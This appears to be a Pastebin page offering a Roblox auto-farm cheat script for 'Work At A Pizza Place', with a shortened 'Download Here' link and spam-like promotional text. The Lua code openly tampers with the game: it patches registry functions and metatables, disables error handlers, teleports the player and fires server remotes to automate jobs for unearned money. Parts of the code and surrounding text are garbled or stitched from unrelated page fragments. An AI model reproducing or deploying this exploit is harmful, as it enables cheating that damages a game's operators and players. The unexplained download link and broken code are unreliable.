Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -
- Download Here --> https://tinyurl.com/5eabk3ee (Copy and Paste Link)
- Work At A Pizza Place Script | Admin Gui, Kill, More -2022
- Work At A Pizza Place Script is a great game for anyone who wants to learn how to manage teams and earn money. Roblox developers have created this script with a lot of experience, so you can easily learn how to use it and get the most out of your game.
- Common features like teleport and many other features make it an interesting way to spend some time playing Roblox. Become the manager of our new restaurant and start earning unlimited bread money! You can teleport to different places and make your customers' dreams come true.
- Earn money from every customer who comes to your pizzeria, complete work missions and upgrade or remodel your kitchen, or you can sit at the counter and have fun! Don't wait any longer - play Work At A Pizza Place now and become a rich man.
- Name already in use
- A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
- work-at-a-pizza-place / script
- This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Open with Desktop
- View raw
- Copy raw contents Copy raw contents Copy raw contents
- This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
- --https://v3rmillion.net/showthread.php?tid=723696 getupvalues = getupvalues or debug.getupvalues setupvalue = setupvalue or debug.setupvalue if not (getrawmetatable and getupvalues and setupvalue and (getreg or debug.getregistry)) then local h = Instance.new("Hint",workspace) h.Text = "Incompatible exploit." wait(3) h:Destroy() return end local settings = local doCashier,doBoxer,doCook,doSupplier,doDelivery = true,true,true,true,true if readfile then pcall(function() local new = game:GetService("HttpService"):JSONDecode(readfile("PizzaFarm.txt")) --corruption? local doOverwrite=false for k,v in pairs(new) do if settings[k]==nil then doOverwrite=true new[k]=nil end end for k,v in pairs(settings) do if new[k]==nil then doOverwrite=true new[k]=v end end --use input if doOverwrite then warn("Settings overwritten") writefile("PizzaFarm.txt",game:GetService("HttpService"):JSONEncode(new)) end settings = new end) end if getconnections then for _,c in next,getconnections(game:GetService("ScriptContext").Error) do c:Disable() end end local player = game:GetService("Players").LocalPlayer local ffc = game.FindFirstChild local RNG = Random.new() local network local character,root do local reg = (getreg or debug.getregistry)() for i=1,#reg do local f = reg[i] if type(f)=="function" and tostring(getfenv(f).script)=="Paycheck" then for k,v in next,getupvalues(f) do if tostring(v) == "CashOut" then setupvalue(f,k,>) break end end elseif type(f)=="table" and rawget(f,"FireServer") and rawget(f,"BindEvents") then network = f end end local mt=getrawmetatable(game) if setreadonly then setreadonly(mt,false) elseif make_writeable then make_writeable(mt) end local old__newindex=mt.__newindex if newcclosure then mt.__newindex=newcclosure(function(t,k,v) if t~=workspace.CurrentCamera or tostring(getfenv(2).script)~="LocalMain" then return old__newindex(t,k,v) end end) else mt.__newindex=function(t,k,v) if t~=workspace.CurrentCamera or tostring(getfenv(2).script)~="LocalMain" then return old__newindex(t,k,v) end end end workspace.Main.RealignCamera.RealignCamera:Destroy() Instance.new("BindableEvent",workspace.Main.RealignCamera).Name="RealignCamera" end assert(network,"failed to find network") --//gui Create = function(class,parent,props) local new = Instance.new(class) for k,v in next,props do new[k]=v end new.Parent = parent return new end gui=Create("ScreenGui",game.CoreGui,) main=Create("Frame",gui,) topbar=Create("Frame",main,) closeBtn=Create("TextButton",topbar, Font="GothamSemibold", Position=UDim2.new(0.96,0,0,0), TextSize=14, TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) titleLbl=Create("TextLabel",topbar, BackgroundTransparency=1, Position=UDim2.new(0.25,0,0,0), TextColor3=Color3.new(1,1,1), BackgroundColor3=Color3.new(1,1,1)>) saveBtn=Create("ImageButton",topbar,) settings_1=Create("Frame",main,) Layout=Create("UIGridLayout",settings_1,) cashier=Create("Frame",settings_1,) Label=Create("TextLabel",cashier, BackgroundTransparency=1, Position=UDim2.new(0.4,0,0,0), TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) cashierBtn=Create("ImageButton",cashier,) cashierSlider=Create("Frame",cashierBtn,) kitchen=Create("Frame",settings_1,) Label_2=Create("TextLabel",kitchen, BackgroundTransparency=1, TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) kitchenBtn=Create("TextButton",kitchen, Position=UDim2.new(0.62,0,0,0), TextSize=35, TextScaled=true, BackgroundColor3=Color3.new(0.784,0.784,0.784)>) refillEnd=Create("Frame",settings_1,) refillEndBox=Create("TextBox",refillEnd, Font="Code", Position=UDim2.new(0.62,0,0,0), TextScaled=true, BackgroundColor3=Color3.new(0.784,0.784,0.784)>) Label_3=Create("TextLabel",refillEnd, BackgroundTransparency=1, TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) refillAt=Create("Frame",settings_1,) Label_4=Create("TextLabel",refillAt, BackgroundTransparency=1, TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) refillAtBox=Create("TextBox",refillAt, Font="Code", Position=UDim2.new(0.52,0,0,0), TextScaled=true, BackgroundColor3=Color3.new(0.784,0.784,0.784)>) supplier=Create("Frame",settings_1,) Label_5=Create("TextLabel",supplier, BackgroundTransparency=1, Position=UDim2.new(0.4,0,0,0), TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) supplierBtn=Create("ImageButton",supplier,) supplierSlider=Create("Frame",supplierBtn,) delivery=Create("Frame",settings_1,) Label_6=Create("TextLabel",delivery, BackgroundTransparency=1, Position=UDim2.new(0.4,0,0,0), TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) deliveryBtn=Create("ImageButton",delivery,) deliverySlider=Create("Frame",deliveryBtn,) boxer=Create("Frame",settings_1,) boxerLbl=Create("TextLabel",boxer, BackgroundTransparency=1, Position=UDim2.new(0.4,0,0,0), TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) boxerBtn=Create("ImageButton",boxer,) boxerSlider=Create("Frame",boxerBtn,) cook=Create("Frame",settings_1,) cookLbl=Create("TextLabel",cook, BackgroundTransparency=1, Position=UDim2.new(0.4,0,0,0), TextColor3=Color3.new(1,1,1), TextScaled=true, BackgroundColor3=Color3.new(1,1,1)>) cookBtn=Create("ImageButton",cook,) cookSlider=Create("Frame",cookBtn,) toggleAll=Create("Frame",settings_1,) switch=Create("Frame",toggleAll,) allOffBtn=Create("ImageButton",switch,) allOnBtn=Create("ImageButton",switch,) toggleAllSlider=Create("Frame",switch,) messageLbl=Create("TextLabel",topbar, Position=UDim2.new(0.07,0,0,0), TextColor3=Color3.new(1,1,1), Visible=false, TextXAlignment="Left">) camframe=Create("Frame",gui,) rightCamBtn=Create("ImageButton",camframe, BackgroundColor3=Color3.new(1,1,1)>) leftCamBtn=Create("ImageButton",camframe,) centerCamBtn=Create("ImageButton",camframe,) creditLbl=Create("TextLabel",main,) local function toggleCashier(bool) if bool~=nil then doCashier=bool else doCashier = not doCashier end cashierSlider:TweenPosition(UDim2.new(doCashier and 0.5 or 0,2,0,2),nil,"Sine",0.1,true) end local function toggleCook(bool) if bool~=nil then doCook=bool else doCook = not doCook end cookSlider:TweenPosition(UDim2.new(doCook and 0.5 or 0,2,0,2),nil,"Sine",0.1,true) end local function toggleBoxer(bool) if bool~=nil then doBoxer=bool else doBoxer = not doBoxer end boxerSlider:TweenPosition(UDim2.new(doBoxer and 0.5 or 0,2,0,2),nil,"Sine",0.1,true) end local function toggleDelivery(bool) if bool~=nil then doDelivery=bool else doDelivery = not doDelivery end deliverySlider:TweenPosition(UDim2.new(doDelivery and 0.5 or 0,2,0,2),nil,"Sine",0.1,true) end local function toggleSupplier(bool) if bool~=nil then doSupplier=bool else doSupplier = not doSupplier end supplierSlider:TweenPosition(UDim2.new(doSupplier and 0.5 or 0,2,0,2),nil,"Sine",0.1,true) end cashierBtn.MouseButton1Click:Connect(toggleCashier) cookBtn.MouseButton1Click:Connect(toggleCook) boxerBtn.MouseButton1Click:Connect(toggleBoxer) deliveryBtn.MouseButton1Click:Connect(toggleDelivery) supplierBtn.MouseButton1Click:Connect(toggleSupplier) allOffBtn.InputBegan:Connect(function() if game:GetService("UserInputService"):IsMouseButtonPressed(Enum.UserInputType.MouseButton1) then toggleCashier(false) toggleCook(false) toggleBoxer(false) toggleDelivery(false) toggleSupplier(false) toggleAllSlider:TweenPosition(UDim2.new(0,0,0,-2),nil,"Sine",0.1,true) wait(1) if toggleAllSlider.Position.X.Scale toggleAllSlider:TweenPosition(UDim2.new(0.45,0,0,-2),nil,"Sine",0.1,true) end end end) allOnBtn.InputBegan:Connect(function() if game:GetService("UserInputService"):IsMouseButtonPressed(Enum.UserInputType.MouseButton1) then toggleCashier(true) toggleCook(true) toggleBoxer(true) toggleDelivery(true) toggleSupplier(true) toggleAllSlider:TweenPosition(UDim2.new(0.9,0,0,-2),nil,"Sine",0.1,true) wait(1) if toggleAllSlider.Position.X.Scale>.88 then toggleAllSlider:TweenPosition(UDim2.new(0.45,0,0,-2),nil,"Sine",0.1,true) end end end) kitchenBtn.MouseButton1Click:Connect(function() settings.stay_in_kitchen = not settings.stay_in_kitchen kitchenBtn.Text = settings.stay_in_kitchen and "X" or "" end) local oldRefillAt=refillAtBox.Text refillAtBox:GetPropertyChangedSignal("Text"):Connect(function() if #refillAtBox.Text>2 or refillAtBox.Text:match("%D") then refillAtBox.Text = oldRefillAt end oldRefillAt = refillAtBox.Text end) refillAtBox.FocusLost:Connect(function() if tonumber(refillAtBox.Text) then settings.refill_at=tonumber(refillAtBox.Text) end refillAtBox.Text=tostring(settings.refill_at) end) local oldRefillEnd=refillEndBox.Text refillEndBox:GetPropertyChangedSignal("Text"):Connect(function() if #refillEndBox.Text>2 or refillEndBox.Text:match("%D") then refillEndBox.Text = oldRefillEnd end oldRefillEnd = refillEndBox.Text end) refillEndBox.FocusLost:Connect(function() if tonumber(refillEndBox.Text) then settings.refill_end=tonumber(refillEndBox.Text) end refillEndBox.Text=tostring(settings.refill_end) end) closeBtn.MouseButton1Click:Connect(function() gui:Destroy() end) closeBtn.MouseEnter:Connect(function() closeBtn.TextColor3=Color3.new(.9,0,0) end) closeBtn.MouseLeave:Connect(function() closeBtn.TextColor3=Color3.new(1,1,1) end) saveBtn.MouseButton1Click:Connect(function() if writefile and messageLbl.Visible==false then writefile("PizzaFarm.txt",game:GetService("HttpService"):JSONEncode(settings)) messageLbl.Visible=true wait(2) messageLbl.Visible=false end end) local cameraArray = local cameraIndex = 0 centerCamBtn.MouseButton1Click:Connect(function() cameraIndex = 0 workspace.CurrentCamera.CameraType = "Custom" end) leftCamBtn.MouseButton1Click:Connect(function() cameraIndex = cameraIndex - 1 if cameraIndex cameraIndex = #cameraArray end if cameraIndex == 0 then workspace.CurrentCamera.CameraType="Custom" else local cf = cameraArray[cameraIndex] workspace.CurrentCamera.CameraType="Scriptable" workspace.CurrentCamera:Interpolate(cf,cf+cf.lookVector*10,0.5) end end) rightCamBtn.MouseButton1Click:Connect(function() cameraIndex = cameraIndex + 1 if cameraIndex > #cameraArray then cameraIndex = 0 workspace.CurrentCamera.CameraType="Custom" else local cf = cameraArray[cameraIndex] workspace.CurrentCamera.CameraType="Scriptable" workspace.CurrentCamera:Interpolate(cf,cf+cf.lookVector*10,0.5) end end) --//subroutines local supplyCounts = for name in pairs(supplyCounts) do local lbl = workspace.SupplyCounters[name=="Dew" and "CounterMountainDew" or "Counter"..name].a.SG.Counter supplyCounts[name]=tonumber(lbl.Text) lbl.Changed:Connect(function() supplyCounts[name]=tonumber(lbl.Text) end) end local function FindFirstCustomer() local children = workspace.Customers:GetChildren() for i=1,#children do local c = children[i] if ffc(c,"Head") and ffc(c,"Humanoid") and c.Head.CFrame.Z return c end end end local boxPtick=0 local boxDtick=0 local function FindBoxes() local c,o,f local children = workspace.AllBox:GetChildren() for i=1,#children do local b = children[i] if ffc(b,"HasPizzaInside") or ffc(b,"Pizza") then if c==nil and b.Name=="BoxClosed" and b.Anchored==false and not b.HasPizzaInside.Value then c=b elseif o==nil and b.Name=="BoxOpen" and b.Anchored==false and not b.Pizza.Value then o=b elseif f==nil and (b.Name=="BoxOpen" and b.Pizza.Value) or (b.Name=="BoxClosed" and b.HasPizzaInside.Value) then f=b end if c and o and f then return c,o,f end end end return c,o,f end local function FindBoxingFoods() local p,d local children = workspace.BoxingRoom:GetChildren() for i=1,#children do local f = children[i] if not f.Anchored then if p==nil and f.Name=="Pizza" then p=f elseif d==nil and f.Name=="Dew" then d=f end if p and d then return p,d end end end return p,d end local orderDict= local cookingDict = local cookPtick=0 local cookDtick=0 local cookWarned=false local boxerWarned=false local function getOrders() local orders= local tempCookingDict = for i,v in pairs(cookingDict) do tempCookingDict[i]=v end local children = workspace.Orders:GetChildren() for i=1,#children do local o = orderDict[children[i].SG.ImageLabel.Image:match("%d+$")] if o then if tempCookingDict[o]>0 then --ignores oven pizzas, so new orders are priority tempCookingDict[o]=tempCookingDict[o]-1 elseif (o=="Dew" and #workspace.AllMountainDew:GetChildren()>0) or (supplyCounts[o]>0 and supplyCounts.TomatoSauce>0 and supplyCounts.Cheese>0) then --need supplies orders[#orders+1]=o end end end return orders end local function FindFirstDew() local children = workspace.AllMountainDew:GetChildren() for i=1,#children do if not children[i].Anchored then return children[i] end end end local function FindDoughAndWithout(str) local goodraw,p,raw,trash local children = workspace.AllDough:GetChildren() for i = #children, 2, -1 do --shuffle local j = RNG:NextInteger(1, i) children[j], children[i] = children[i], children[j] end for i=1,#children do local d = children[i] if d.Anchored==false and #d:GetChildren()>9 then if d.IsBurned.Value or d.HasBugs.Value or d.Cold.Value or (d.BrickColor.Name=="Bright orange" and ffc(d,"XBillboard")) then if trash==nil and d.Position.Y > 0 then trash=d end elseif p==nil and d.BrickColor.Name=="Bright orange" then p=d elseif goodraw==nil and d.Position.X --prefers flat if d.Mesh.Scale.Y goodraw=d else raw=d end end if goodraw and p and trash then return goodraw,p,trash end end end return goodraw or raw,p,trash end local function getOvenNear(pos) local children = workspace.Ovens:GetChildren() for i=1,#children do if (children[i].Bottom.Position-pos).magnitude return children[i] end end end local function getDoughNear(pos) local children = workspace.AllDough:GetChildren() for i=1,#children do if (children[i].Position-pos).magnitude return children[i] end end end local function isFullyOpen(oven) return oven.IsOpen.Value==true and (oven.Door.Meter.RotVelocity.Z^2)^.5 end local bcolorToSupply = local supplyButtons = for i,v in ipairs(workspace.SupplyButtons:GetChildren()) do supplyButtons[i] = v.Unpressed end table.sort(supplyButtons,function(a,b) return a.Position.X local delTool local function FindFirstDeliveryTool() local t local children = workspace:GetChildren() for i=1,#children do local v = children[i] if v.ClassName=="Tool" and v.Name:match("^%u%d$") and ffc(v,"House") and ffc(v,"Handle") and ffc(v,"Order") and v.Order.Value:match("%a") then if ffc(v.Handle,"X10") then return v end t = v end end return t end local function getHousePart(address) local houses = workspace.Houses:GetChildren() for i=1,#houses do local h = houses[i] if ffc(h,"Address") and h.Address.Value==address and ffc(h,"Upgrades") and h.Upgrades:GetChildren()[1] and ffc(h.Upgrades:GetChildren()[1],"GivePizza") then return h.Upgrades:GetChildren()[1].GivePizza end end end local delTouched=false local function forgetDeliveryTool() if delTool then if delTool.Parent==player.Backpack then delTool.Parent = character end if delTool.Parent==character then wait(0.1) delTool.Parent = workspace wait(0.1) end end delTool=nil delTouched=false if ffc(character,"RightHand") and ffc(character.RightHand,"RightGrip") then character.RightHand.RightGrip:Destroy() end end local function onCharacterAdded(char) if not char then return end character=char root = character:WaitForChild("HumanoidRootPart") humanoid = character:WaitForChild("Humanoid") humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(function() if delTool then character.Humanoid.WalkSpeed=16 end end) humanoid:SetStateEnabled("FallingDown",false) humanoid:SetStateEnabled("Seated",false) end onCharacterAdded(player.Character or player.CharacterAdded:Wait()) player.CharacterAdded:Connect(onCharacterAdded) local function smoothTP(cf) local cf0 = (cf-cf.p) + root.Position + Vector3.new(0,4,0) local diff = cf.p - root.Position local oldg = workspace.Gravity workspace.Gravity = 0 for i=0,diff.Magnitude,7 do root.CFrame = cf0 + diff.Unit * i root.Velocity,root.RotVelocity=Vector3.new(),Vector3.new() wait() end root.CFrame = cf workspace.Gravity = oldg end --//main loop while gui.Parent do wait(0.3) if humanoid.Sit then humanoid.Jump = true end if doCashier then local c = FindFirstCustomer() if c then local dialog = c.Head.Dialog.Correct.ResponseDialog or '' local rootMoved = false if (root.Position-Vector3.new(46.34, 3.80, 82.02)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(46.34, 3.80, 82.02)) wait(.1) end local order = "MountainDew" if dialog:sub(-8)=="instead." then dialog = dialog:sub(-30) end if dialog:find("pepperoni",1,true) then order = "PepperoniPizza" elseif dialog:find("sausage",1,true) then order = "SausagePizza" elseif dialog:find("cheese",1,true) then order = "CheesePizza" end network:FireServer("OrderComplete", c, order, workspace.Register3) if rootMoved then wait(.1) end end end if doCook then local order = getOrders()[1] local topping if order=="Pepperoni" or order=="Sausage" then topping=order end local cookD = FindFirstDew() local raw,cookP,trash if topping then --pepperoni order avoids sausage dough and vice verca raw,cookP,trash = FindDoughAndWithout(topping=="Pepperoni" and "Sausage" or "Pepperoni") else raw,cookP,trash = FindDoughAndWithout() end local rootMoved = false local ovens = workspace.Ovens:GetChildren() for i = #ovens, 2, -1 do --shuffle local j = RNG:NextInteger(1, i) ovens[j], ovens[i] = ovens[i], ovens[j] end --move final pizza if cookP and tick()-cookPtick>0.8 then local oven = getOvenNear(cookP.Position) if oven==nil or oven.IsOpen.Value then cookPtick=tick() if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end network:FireServer("UpdateProperty", cookP, "CFrame", CFrame.new(56,4.1,38)) end end if order then if order=="Dew" and cookD and tick()-cookDtick>0.8 then --move dew if ordered cookDtick=tick() if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end network:FireServer("UpdateProperty", cookD, "CFrame", CFrame.new(53,4.68,36.5)) elseif order~="Dew" and raw and raw.Parent and supplyCounts[order]>0 and supplyCounts.TomatoSauce>0 and supplyCounts.Cheese>0 then --make pizza if raw.Mesh.Scale.Y>1.5 then if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end network:FireServer("UpdateProperty", raw, "CFrame", CFrame.new(RNG:NextNumber(29.6,44.6),3.7,RNG:NextNumber(42.5,48.5))) wait() network:FireServer("SquishDough", raw) else --make sure it will have an oven local oven for _,o in ipairs(ovens) do if isFullyOpen(o) then local other = getDoughNear(o.Bottom.Position) if other==nil or not (other.BrickColor.Name=="Bright orange" and ffc(other.SG.Frame,"TomatoSauce") and ffc(other.SG.Frame,"MeltedCheese")) then if other then --replace mistaken dough if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end network:FireServer("UpdateProperty", other, "CFrame", CFrame.new(RNG:NextNumber(29.6,44.6),3.7,RNG:NextNumber(42.5,48.5))) wait() end oven=o break end end end if oven and raw.Parent==workspace.AllDough then --make if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end network:FireServer("AddIngredientToPizza", raw,"TomatoSauce") network:FireServer("AddIngredientToPizza", raw,"Cheese") network:FireServer("AddIngredientToPizza", raw,topping) network:FireServer("UpdateProperty", raw, "CFrame", oven.Bottom.CFrame+Vector3.new(0,0.7,0)) oven.Door.ClickDetector.Detector:FireServer() --mark as cooking cookingDict[order]=cookingDict[order]+1 local revoked=false spawn(function() raw.AncestryChanged:Wait() if not revoked then cookingDict[order]=cookingDict[order]-1 revoked=true end end) delay(40, function() if not revoked then cookingDict[order]=cookingDict[order]-1 revoked=true end end) end end end end --open unnecessarily closed ovens for _,o in ipairs(ovens) do local bar = o.Door.Meter.SurfaceGui.ProgressBar.Bar if o.IsOpen.Value==false and (o.IsCooking.Value==false or (Vector3.new(bar.ImageColor3.r,bar.ImageColor3.g,bar.ImageColor3.b)-Vector3.new(.871,.518,.224)).magnitude>.1) then if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end o.Door.ClickDetector.Detector:FireServer() break end end --trash if trash and (trash.IsBurned.Value==false or getOvenNear(trash.Position)==nil or getOvenNear(trash.Position).IsOpen.Value) then --closed oven breaks if you take burnt out of it if (root.Position-Vector3.new(44.63, 6.60, 45.20)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(44.63, 6.60, 45.20)) wait(.1) end network:FireServer("UpdateProperty", trash, "CFrame", CFrame.new(47.9,RNG:NextNumber(-10,-30),72.5)) end if rootMoved then wait(.1) end end if doBoxer then local boxP,boxD = FindBoxingFoods() local closedBox,openBox,fullBox = FindBoxes() local rootMoved = false if boxD and tick()-boxDtick>0.8 then boxDtick=tick() if (root.Position-Vector3.new(54.09, 3.80, 23.150)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(54.09, 3.80, 23.15)) wait(.1) end network:FireServer("UpdateProperty", boxD, "CFrame", CFrame.new(63,4.9,-1,-1,0,0,0,1,0,0,0,-1)) end if fullBox then if fullBox.Name=="BoxOpen" then if (root.Position-Vector3.new(54.09, 3.80, 23.150)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(54.09, 3.80, 23.15)) wait(.1) end network:FireServer("CloseBox", fullBox) --will be moved next loop elseif tick()-boxPtick>0.8 then if (root.Position-Vector3.new(54.09, 3.80, 23.150)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(54.09, 3.80, 23.15)) wait(.1) end network:FireServer("UpdateProperty", fullBox, "CFrame", CFrame.new(68.2,4.4,-1,-1,0,0,0,1,0,0,0,-1)) boxPtick=tick() end end if closedBox and not openBox then if (root.Position-Vector3.new(54.09, 3.80, 23.150)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(54.09, 3.80, 23.15)) wait(.1) end network:FireServer("UpdateProperty", closedBox, "CFrame", CFrame.new(RNG:NextNumber(62.5,70.5),3.5,RNG:NextNumber(11,25))) wait() network:FireServer("OpenBox", closedBox) end if openBox and boxP then if (root.Position-Vector3.new(54.09, 3.80, 23.150)).magnitude>9 then rootMoved = true smoothTP(CFrame.new(54.09, 3.80, 23.15)) wait(.1) end network:FireServer("UpdateProperty", boxP, "Anchored", true) network:FireServer("UpdateProperty", openBox, "Anchored", true) wait() network:FireServer("UpdateProperty", boxP, "CFrame", openBox.CFrame+Vector3.new(0,-2,0)) wait() network:FireServer("AssignPizzaToBox", openBox, boxP) end if rootMoved then wait(.1) end end if doSupplier then local refill=false for s,c in pairs(supplyCounts) do if c refill=true break end end if refill then local oldcf = root.CFrame local alt=0 local waiting = false local waitingTick = 0 local lastBox while doSupplier do --check if refill is done otherwise hit buttons local fulfilled=true local boxes = workspace.AllSupplyBoxes:GetChildren() for _,btn in ipairs(supplyButtons) do if supplyCounts[bcolorToSupply[btn.BrickColor.Name]] local count = 0 if #boxes > 30 then for i=1,#boxes do local box = boxes[i] if bcolorToSupply[box.BrickColor.Name]==s and box.Anchored==false and box.Position.Z count=count+1 end end end if count if fulfilled then smoothTP(btn.CFrame + Vector3.new(0,3,3)) wait(0.1) end root.CFrame = btn.CFrame + Vector3.new(0,3,0) wait(0.1) end fulfilled=false end end if fulfilled then break end wait(0.2) smoothTP(CFrame.new(8,12.4,-1020)) wait(1.3) --check if can finish waiting for boxes to move if waiting and (lastBox.Position.X>42 or tick()-waitingTick>5) then waiting=false if lastBox.Position.X --clear boxes if stuck smoothTP(CFrame.new(20.5,8,-35)) wait(0.1) local boxes = workspace.AllSupplyBoxes:GetChildren() for i=1,#boxes do local box = boxes[i] if box.Anchored==false and box.Position.Z>-55 then network:FireServer("UpdateProperty", box, "CFrame", CFrame.new(RNG:NextNumber(0,40),RNG:NextNumber(-10,-30),-70)) wait() end end wait(0.1) end end if not waiting then --move boxes smoothTP(CFrame.new(8,12.4,-1020)) wait(0.1) alt=1-alt lastBox=nil local j=0 local boxes = workspace.AllSupplyBoxes:GetChildren() for i=1,#boxes do local box = boxes[i] if box.Anchored==false and box.Position.Z box.CFrame = CFrame.new(38-4*j,5,-7-5*alt) network:FireServer("UpdateProperty", box, "CFrame", box.CFrame) lastBox=box j=j+1 if j>8 then break end end end if alt==0 and lastBox then waiting=true waitingTick=tick() end end end smoothTP(oldcf) end end if doDelivery then local del = FindFirstDeliveryTool() if delTool==nil and del then --get tool delTool=del if (root.Position-delTool.Handle.Position).magnitude>19 then smoothTP(CFrame.new(delTool.Handle.Position+Vector3.new(0,1,-15))) end delTool.Handle.CanCollide=false delTool.Handle.CFrame = root.CFrame wait(0.9) delay(20,forgetDeliveryTool) elseif delTool and delTool.Parent==character and delTouched==false then --deliver to house local housePart = getHousePart(delTool.Name) if housePart then delTouched=true smoothTP(housePart.CFrame+Vector3.new(0,9,0)) wait(0.3) end end end end humanoid:SetStateEnabled("Seated",true) wait(0.5) humanoid.Jump=true
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement